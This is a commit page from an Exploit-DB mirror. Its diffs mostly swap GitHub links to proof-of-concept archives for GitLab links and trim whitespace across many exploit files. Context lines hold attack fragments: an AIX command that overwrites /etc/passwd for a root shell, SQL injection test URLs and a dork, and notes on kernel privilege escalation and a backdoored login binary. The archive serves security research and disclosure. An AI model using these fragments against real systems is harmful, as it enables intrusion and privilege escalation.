bpmcdevitt/exploit-db-mirror
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions

DB: 2022-11-10

Browse source 
2776 changes to exploits/shellcodes/ghdb
This commit is contained in:
Offensive Security 2022-11-10 16:39:50 +00:00
parent fba9658f51
commit d63de06c7a
2774 changed files with 3267 additions and 3998 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

1
exploits/aix/local/45938.pl
View file

@ -139,4 +139,3 @@ $result = `su wow "-c cp /tmp/passwd.backup /etc/passwd && echo 'wow::0:0::/:/us
print "[-] Done \n"; print "[-] Done \n";
print "[+] 'su wow' for root shell \n"; print "[+] 'su wow' for root shell \n";

2
exploits/android/dos/38555.txt
View file

@ -35,4 +35,4 @@ In this code snippet, the data.buf_out.num_planes value is attacker-controlled "
Proof-of-concept code to trigger this issue (from a privileged shell) is attached (m2m1shot_compat.c). Proof-of-concept code to trigger this issue (from a privileged shell) is attached (m2m1shot_compat.c).
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/38555.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38555.zip

2
exploits/android/dos/38557.txt
View file

@ -56,4 +56,4 @@ One ioctl should have valid data, the other should fail
At this point ctx->mm will now have invalid or free data (free if the forked process dies). Proof-of-concept code to trigger this condition is attached (fimg2d-lock.c) At this point ctx->mm will now have invalid or free data (free if the forked process dies). Proof-of-concept code to trigger this condition is attached (fimg2d-lock.c)
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/38557.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38557.zip

2
exploits/android/dos/38610.txt
View file

@ -26,4 +26,4 @@ I/DEBUG ( 2958): #03 pc 000000000042ec00 /system/priv-app/SecGallery2015/
To reproduce, download the file and open it in Gallery To reproduce, download the file and open it in Gallery
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/38610.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38610.zip

2
exploits/android/dos/38611.txt
View file

@ -31,4 +31,4 @@ To reproduce, download the attached file and wait, or trigger media scanning by
adb shell am broadcast -a android.intent.action.MEDIA_MOUNTED -d file:///mnt/shell/emulated/0/ adb shell am broadcast -a android.intent.action.MEDIA_MOUNTED -d file:///mnt/shell/emulated/0/
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/38611.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38611.zip

2
exploits/android/dos/38612.txt
View file

@ -37,4 +37,4 @@ To reproduce, download the image file and wait, or trigger media scanning by cal
adb shell am broadcast -a android.intent.action.MEDIA_MOUNTED -d file:///mnt/shell/emulated/0/ adb shell am broadcast -a android.intent.action.MEDIA_MOUNTED -d file:///mnt/shell/emulated/0/
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/38612.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38612.zip

2
exploits/android/dos/38613.txt
View file

@ -28,4 +28,4 @@ To reproduce, download the file and open it in Gallery.
This issue was tested on a SM-G925V device running build number LRX22G.G925VVRU1AOE2. This issue was tested on a SM-G925V device running build number LRX22G.G925VVRU1AOE2.
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/38613.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38613.zip

2
exploits/android/dos/38614.txt
View file

@ -55,4 +55,4 @@ adb shell am broadcast -a android.intent.action.MEDIA_MOUNTED -d file:///mnt/she
This issue was tested on a SM-G925V device running build number LRX22G.G925VVRU1AOE2. This issue was tested on a SM-G925V device running build number LRX22G.G925VVRU1AOE2.
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/38614.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38614.zip

2
exploits/android/dos/39424.txt
View file

@ -37,4 +37,4 @@ adb shell am broadcast -a android.intent.action.MEDIA_MOUNTED -d file:///mnt/she
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39424.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39424.zip

2
exploits/android/dos/39425.txt
View file

@ -29,4 +29,4 @@ adb shell am broadcast -a android.intent.action.MEDIA_MOUNTED -d file:///mnt/she
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39425.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39425.zip

2
exploits/android/dos/39629.txt
View file

@ -159,4 +159,4 @@ prNdisReq->ndisOidContent is in a static allocation of size 0x1000, and prIwReqD
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39629.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39629.zip

2
exploits/android/dos/39651.txt
View file

@ -55,4 +55,4 @@ Reported to Android here: https://code.google.com/p/android/issues/detail?id=185
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39651.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39651.zip

2
exploits/android/dos/39685.txt
View file

@ -42,4 +42,4 @@ Where XXXXXX should be uninitialized memory from the heap.
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39685.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39685.zip

2
exploits/android/dos/39686.txt
View file

@ -86,4 +86,4 @@ I’ve provided a PoC which exploits the issue in ICrypto::decrypt. I will just
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39686.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39686.zip

2
exploits/android/dos/39921.txt
View file

@ -92,4 +92,4 @@ cpsr 0x80070030 -2147024848
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39921.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39921.zip

2
exploits/android/dos/40381.txt
View file

@ -140,4 +140,4 @@ If there is e.g. some system_app that performs permissions checks (which use the
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/40381.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40381.zip

2
exploits/android/dos/40449.txt
View file

@ -36,4 +36,4 @@ Its logcat output looks like this:
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/40449.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40449.zip

2
exploits/android/dos/40515.txt
View file

@ -142,4 +142,4 @@ a uint32_t is smaller than a binder_uintptr_t.
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/40515.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40515.zip

2
exploits/android/dos/40876.txt
View file

@ -165,4 +165,4 @@ Fixed in the November security bulletin at https://source.android.com/security/b
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/40876.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40876.zip

2
exploits/android/dos/40945.txt
View file

@ -135,4 +135,4 @@ Fixed in https://source.android.com/security/bulletin/2016-12-01.html
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/40945.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40945.zip

2
exploits/android/dos/40993.txt
View file

@ -58,4 +58,4 @@ According to the default SELinux rules as present on the SM-G935F (version XXS1A
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/40993.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40993.zip

2
exploits/android/dos/41161.txt
View file

@ -67,4 +67,4 @@ The sysfs entries mentioned above are world-readable and have an SELinux context
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41161.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41161.zip

2
exploits/android/dos/41211.txt
View file

@ -30,4 +30,4 @@ This PoC uses the CFP_ROPP_* commands to modify a kernel address in the kernel V
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41211.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41211.zip

2
exploits/android/dos/41212.txt
View file

@ -38,4 +38,4 @@ This PoC disables the M bit in SCTLR_EL1.
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41212.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41212.zip

2
exploits/android/dos/41218.txt
View file

@ -44,4 +44,4 @@ This PoC s2-remaps RKP's physical address range and reads from it in EL1.
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41218.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41218.zip

2
exploits/android/dos/41232.txt
View file

@ -64,4 +64,4 @@ This PoC modifies an instruction within RKP's address space by repeatedly callin
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41232.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41232.zip

2
exploits/android/dos/41351.txt
View file

@ -63,4 +63,4 @@ backtrace:
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41351.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41351.zip

2
exploits/android/dos/41352.txt
View file

@ -47,4 +47,4 @@ u:r:lghashstorageserver:s0
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41352.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41352.zip

2
exploits/android/dos/41353.txt
View file

@ -92,4 +92,4 @@ disable selinux enforcement.
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41353.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41353.zip

2
exploits/android/dos/41354.txt
View file

@ -80,4 +80,4 @@ Here is a sample crash from a successful execution of the PoC:
Proofs of Concept: Proofs of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41354.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41354.zip

2
exploits/android/dos/41355.txt
View file

@ -97,4 +97,4 @@ Here is a sample crash from a successful execution of the PoC:
Proofs of Concept: Proofs of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41355.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41355.zip

2
exploits/android/dos/41981.txt
View file

@ -79,4 +79,4 @@ backtrace:
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41981.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41981.zip

2
exploits/android/dos/41982.txt
View file

@ -53,4 +53,4 @@ backtrace:
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41982.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41982.zip

2
exploits/android/dos/41983.txt
View file

@ -130,4 +130,4 @@ backtrace:
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41983.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41983.zip

2
exploits/android/dos/42169.txt
View file

@ -61,4 +61,4 @@ backtrace:
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/42169.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42169.zip

2
exploits/android/dos/42170.txt
View file

@ -77,4 +77,4 @@ backtrace:
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/42170.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42170.zip

2
exploits/android/dos/42171.txt
View file

@ -41,4 +41,4 @@ backtrace:
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/42171.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42171.zip

2
exploits/android/dos/42285.txt
View file

@ -23,4 +23,4 @@ backtrace:
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/42285.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42285.zip

2
exploits/android/dos/43464.txt
View file

@ -83,4 +83,4 @@ The issue can also be exploited from the "isolated_app" SELinux context (and per
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/43464.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/43464.zip

2
exploits/android/dos/43513.txt
View file

@ -92,4 +92,4 @@ These commands are all similarly racy (due to the getpidcon(...) usage), but are
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/43513.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/43513.zip

2
exploits/android/dos/43996.txt
View file

@ -60,4 +60,4 @@ After applying the patch, the attached PoC should be built as part of the Androi
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/43996.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/43996.zip

2
exploits/android/dos/44268.txt
View file

@ -1,3 +1,3 @@
This Exploit allows arbitrary memory writes and reads. Running the specified payload within this package will write to the device's main CPU kernel, causing it to crash. More information about its origins here: http://boosterok.com/blog/broadpwn2/ This Exploit allows arbitrary memory writes and reads. Running the specified payload within this package will write to the device's main CPU kernel, causing it to crash. More information about its origins here: http://boosterok.com/blog/broadpwn2/
Download: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/44268.zip Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44268.zip

2
exploits/android/dos/44724.txt
View file

@ -26,4 +26,4 @@ This was tested on Samsung build number NRD90M.G93FXXU1DQJ8, which is the most r
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/44724.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44724.zip

2
exploits/android/dos/45558.txt
View file

@ -200,4 +200,4 @@ To reproduce that, follow these steps:
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/45558.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45558.zip

2
exploits/android/dos/45579.txt
View file

@ -48,4 +48,4 @@ Logs from the crashes on Android and iPhone are attached. Note that I modified t
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/45579.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45579.zip

2
exploits/android/dos/46356.txt
View file

@ -267,4 +267,4 @@ the upstream kernel, too.
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46356.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46356.zip

2
exploits/android/dos/46357.txt
View file

@ -223,4 +223,4 @@ The dmesg splat should look like this:
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46357.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46357.zip

2
exploits/android/dos/46503.txt
View file

@ -161,4 +161,4 @@ You should see something like this in dmesg (if you have
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46503.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46503.zip

2
exploits/android/dos/46504.txt
View file

@ -222,4 +222,4 @@ set VM_IO, it is possible to use madvise(..., MADV_DOFORK) to clear that flag:
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46504.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46504.zip

2
exploits/android/dos/46853.txt
View file

@ -52,4 +52,4 @@ WeChat will crash now if a message that contains the overwritten emoji file
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46853.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46853.zip

2
exploits/android/dos/46941.txt
View file

@ -292,4 +292,4 @@ The KASAN report points to instruction 267c in the following assembly:
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46941.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46941.zip

2
exploits/android/dos/47119.txt
View file

@ -76,4 +76,4 @@ Hvec-"fright" is possible. You can own the mobile by viewing a video with payloa
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47119.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47119.zip

2
exploits/android/dos/47920.txt
View file

@ -21,4 +21,4 @@ A crash log is attached.
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47920.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47920.zip

2
exploits/android/local/39757.txt
View file

@ -6,4 +6,4 @@ Qualcomm's Secure Execution Environment (QSEE) Privilege Escalation Exploit usi
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39757.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39757.zip

2
exploits/android/local/40066.txt
View file

@ -227,4 +227,4 @@ the JACK server process.
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/40066.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40066.zip

2
exploits/android/local/41130.txt
View file

@ -70,4 +70,4 @@ The high-level flow for executing a function in the kernel is the following:
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41130.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41130.zip

2
exploits/android/local/41217.txt
View file

@ -92,4 +92,4 @@ This issue can be reproduced by simply writing code to any of these memory regio
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41217.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41217.zip

2
exploits/android/local/42601.txt
View file

@ -28,4 +28,4 @@ cedric:/ #
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/42601.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42601.zip

2
exploits/android/local/45192.txt
View file

@ -344,4 +344,4 @@ and then interpreted, allowing the attacker to steal photos from the device
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/45192.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45192.zip

2
exploits/android/local/45379.txt
View file

@ -95,4 +95,4 @@ I have attached an exploit for the full chain, with usage instructions in USAGE.
WARNING: As always, this exploit is intended to be used only on research devices that don't store user data. This specific exploit is known to sometimes cause data corruption. WARNING: As always, this exploit is intended to be used only on research devices that don't store user data. This specific exploit is known to sometimes cause data corruption.
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/45379.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45379.zip

2
exploits/android/local/47463.txt
View file

@ -77,4 +77,4 @@ Vendor statement from Android:
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47463.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47463.zip

2
exploits/android/local/9477.txt
View file

@ -1,6 +1,6 @@
Source for exploiting CVE-2009-2692 on Android; Hole is closed in Android kernels released August 2009 or later. Source for exploiting CVE-2009-2692 on Android; Hole is closed in Android kernels released August 2009 or later.
http://zenthought.org/content/file/android-root-2009-08-16-source http://zenthought.org/content/file/android-root-2009-08-16-source
Exploit-DB Mirror: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/9477.tar.gz (android-root-20090816.tar.gz) Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9477.tar.gz (android-root-20090816.tar.gz)
# milw0rm.com [2009-08-18] # milw0rm.com [2009-08-18]

2
exploits/android/remote/39640.txt
View file

@ -24,4 +24,4 @@ Credits: To the NorthBit team E.P. - My shining paladin, for assisting in boosti
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39640.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39640.zip

2
exploits/android/remote/40354.txt
View file

@ -156,4 +156,4 @@ bool Parcel::enforceInterface(const String16& interface,
Proofs of Concept: Proofs of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/40354.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40354.zip

2
exploits/android/remote/40874.txt
View file

@ -88,4 +88,4 @@ This notification will be of size THREAD_SIZE*2, and will therefore fill up the
Proofs of Concept: Proofs of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/40874.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40874.zip

2
exploits/arm/dos/40182.txt
View file

@ -78,4 +78,4 @@ I have attached a completely untested patch that should fix the x86, arm and arm
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/40182.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40182.zip

2
exploits/asp/remote/15213.pl
View file

@ -10,7 +10,7 @@
# Note from Exploit-db: This very first exploit was meant to work with Padbusterdornet or Padbuster v0.2. # Note from Exploit-db: This very first exploit was meant to work with Padbusterdornet or Padbuster v0.2.
# A similar exploitation vector was also added lately in Padbuster v0.3: # A similar exploitation vector was also added lately in Padbuster v0.3:
# http://www.gdssecurity.com/l/b/2010/10/04/padbuster-v0-3-and-the-net-padding-oracle-attack/ # http://www.gdssecurity.com/l/b/2010/10/04/padbuster-v0-3-and-the-net-padding-oracle-attack/
# https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/15213.pl (padBuster.pl) # https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15213.pl (padBuster.pl)
# #
# #
# Giorgio Fedon - (giorgio.fedon@mindedsecurity.com) # Giorgio Fedon - (giorgio.fedon@mindedsecurity.com)

2
exploits/asp/webapps/15703.txt
View file

@ -34,5 +34,3 @@ Personal
# KinG,Bl4ckl0rd,Turk_server # KinG,Bl4ckl0rd,Turk_server
# Special Thanks : Farzad_Ho,R3dMind,rAbiN_hoOd,Falcon # Special Thanks : Farzad_Ho,R3dMind,rAbiN_hoOd,Falcon

1
exploits/asp/webapps/16241.txt
View file

@ -24,4 +24,3 @@ POC
--- ---
http://www.site.com/news/news.asp?id=256 and 1=1 TRUE http://www.site.com/news/news.asp?id=256 and 1=1 TRUE
http://www.site.com/news/news.asp?id=256 and 1=0 FALSE http://www.site.com/news/news.asp?id=256 and 1=0 FALSE

3
exploits/asp/webapps/32660.txt
View file

@ -8,6 +8,3 @@
[+] Vulnerable File: default.asp [+] Vulnerable File: default.asp
[+} Dork : intext:"Powered by CIS Manager" [+} Dork : intext:"Powered by CIS Manager"
[+] Exploit : http://host/site/default.asp?TroncoID=[SQL Injection] [+] Exploit : http://host/site/default.asp?TroncoID=[SQL Injection]

2
exploits/asp/webapps/42776.txt
View file

@ -10,4 +10,4 @@
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/42776.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42776.zip

2
exploits/asp/webapps/8719.py
View file

@ -15,7 +15,7 @@
# for working with this exploit you need two asp file for updating hash you can download both from : # for working with this exploit you need two asp file for updating hash you can download both from :
# www.abysssec.com/files/dana.zip # www.abysssec.com/files/dana.zip
# https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/8719.zip (2009-dana.zip) # https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/8719.zip (2009-dana.zip)
# then need to upload asp files and change this "http://wwww.yourasphost.com/salt.asp?salt=" in exploit code # then need to upload asp files and change this "http://wwww.yourasphost.com/salt.asp?salt=" in exploit code

2
exploits/aspx/webapps/47793.txt
View file

@ -47,4 +47,4 @@ Thanks
@mwulftange initially discovered this vulnerability. @bao7uo wrote all of the logic for breaking RadAsyncUpload encryption, which enabled manipulating the file upload configuration object in rauPostData and subsequently exploiting insecure deserialization of that object. @mwulftange initially discovered this vulnerability. @bao7uo wrote all of the logic for breaking RadAsyncUpload encryption, which enabled manipulating the file upload configuration object in rauPostData and subsequently exploiting insecure deserialization of that object.
Proof of Concept: Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47793.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47793.zip

2
exploits/beos/local/19840.txt
View file

@ -2,4 +2,4 @@ source: https://www.securityfocus.com/bid/1098/info
A direct system call containing invalid parameters through int 0x25 will cause the BeOS to crash. Reboot of the machine is required in order to regain normal functionality. A direct system call containing invalid parameters through int 0x25 will cause the BeOS to crash. Reboot of the machine is required in order to regain normal functionality.
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/19840.tgz https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19840.tgz

3
exploits/bsd/dos/19488.c
View file

@ -32,6 +32,3 @@ write(p[1], crap, BUFFERSIZE);
} }
exit(0); exit(0);
} }

2
exploits/bsd/local/19411.txt
View file

@ -10,4 +10,4 @@ Hacker writes directly to device previously mounted as /usr, clearing file flags
Hacker mounts modified device as /usr. Hacker mounts modified device as /usr.
Hacker installs backdoored /usr/bin/login. Hacker installs backdoored /usr/bin/login.
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/19411.tgz https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19411.tgz

2
exploits/bsd/local/23655.txt
View file

@ -2,4 +2,4 @@ source: https://www.securityfocus.com/bid/9586/info
A vulnerability has been reported to reside in the 'shmat()' system call used in the BSD kernel. Exploiting this issue may allow a local attacker to inject instructions into the memory of a privileged process. A vulnerability has been reported to reside in the 'shmat()' system call used in the BSD kernel. Exploiting this issue may allow a local attacker to inject instructions into the memory of a privileged process.
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/23655.tar.gz https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23655.tar.gz

2
exploits/bsd/remote/19520.txt
View file

@ -3,7 +3,7 @@ This exploit was leaked on the Full Disclosure mailing list:
http://seclists.org/fulldisclosure/2012/Jun/404 http://seclists.org/fulldisclosure/2012/Jun/404
Exploit-DB Mirror: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/19520.zip Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19520.zip
BSD telnetd Remote Root Exploit *ZERODAY* BSD telnetd Remote Root Exploit *ZERODAY*

1
exploits/cfm/webapps/15120.txt
View file

@ -106,4 +106,3 @@ References
